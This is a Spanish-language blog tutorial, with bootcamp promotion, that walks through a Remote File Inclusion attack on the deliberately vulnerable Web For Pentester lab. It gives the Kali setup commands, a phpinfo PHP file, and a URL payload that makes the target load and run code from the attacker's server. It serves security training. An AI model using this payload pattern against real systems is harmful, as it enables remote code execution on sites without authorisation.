El siguiente tutorial de Remote File Inclusion (RFI) está hecho con fines académicos. El propósito de esta técnica es encontrar fallos de seguridad en aplicaciones web que permiten ejecutar código PHP en el navegador de los usuarios. Sin embargo, se debe hacer siempre de manera autorizada o en un entorno web de práctica, como el que usaremos en el siguiente ejercicio: Web For Pentester.
Web For Pentester es una aplicación web diseñada por PentesterLab que presenta vulnerabilidades deliberadamente, con el fin de que se utilice para practicar ciberataques en ella. Para aprender cómo instalar Web For Pentester, visita el tutorial de nuestro blog.
A continuación, veremos un tutorial de Remote File Inclusion ejecutado en Web For Pentester. Pero antes, hablaremos brevemente sobre en qué consisten las vulnerabilidades de RFI.
Tutorial de Remote File Inclusion
Preparación
- Instala una máquina virtual con la última versión de Kali Linux.
- Instala la máquina virtual de Web For Pentester, desarrollada por PentesterLab.
- Averigua las direcciones IP de ambas máquinas con el comando «ifconfig«.
Ejecución
Para comenzar el ejercicio, abriremos una terminal en Kali Linux e iniciaremos el servicio de apache 2.
service apache2 start
Ahora, pondremos el servidor a la escucha con el comando:
tail -f /var/log/apache2/access.log
Después, en otra terminal, crearemos un archivo de texto llamado «test» en la ruta «/var/www/html» con el comando:
nano /var/www/html/test
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaSe abrirá un archivo de texto con el programa GNU nano y, allí, escribiremos nuestro código PHP para este tutorial de Remote File Inclusion.
<?php phpinfo(); ?>
Guardaremos y cerraremos el archivo de texto y, ahora, abrimos el navegador Mozilla Firefox e ingresamos a la dirección IP de la máquina virtual de Web For Pentester. Al hacerlo, veremos lo siguiente en la pantalla:
De todas las opciones, entraremos al enlace de «Example 1» de la sección «File Include«. Luego, entraremos en la siguiente página de este sitio web vulnerable:
Al observar la dirección URL, veremos que el parámetro «page=intro.php» podría ser vulnerable al estar ejecutando un código PHP dentro del navegador. Para probar si la vulnerabilidad de código existe, ingresaremos la dirección de cualquier sitio web dentro del parámetro de la URL de la siguiente manera:
page=http://www.google.com
Ya hemos comprobado que el código fuente de la aplicación está ejecutando código PHP por medio los inputs que hace el usuario en la URL. Es decir, se podría redirigir el navegador a una página web que ejecute un fichero con código PHP como el que hemos creado anteriormente.
Para ello, usaremos un payload diseñado para indicarle al navegador que se conecte a nuestro servidor y acceda al fichero «test» que creamos con el código PHP. En este ejemplo, dicho payload se vería del siguiente modo con la IP de la máquina virtual que utilizamos:
http://192.168.175.129/fileincl/example1.php?page=http://192.168.175.128/test
Al ejecutar este payload en el navegador, notaremos que se ejecuta correctamente el código PHP que incluimos en el fichero. Es decir, la aplicación interpreta el contenido sin validarlo antes desde su código fuente.
Ya hemos visto este tutorial de Remote File Inclusion en Web For Pentester. Si quieres profundizar y aprender muchas más técnicas de hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y conviértete en un gran especialista en pocos meses. ¡No sigas esperando para cambiar tu vida! ¡Inscríbete ya!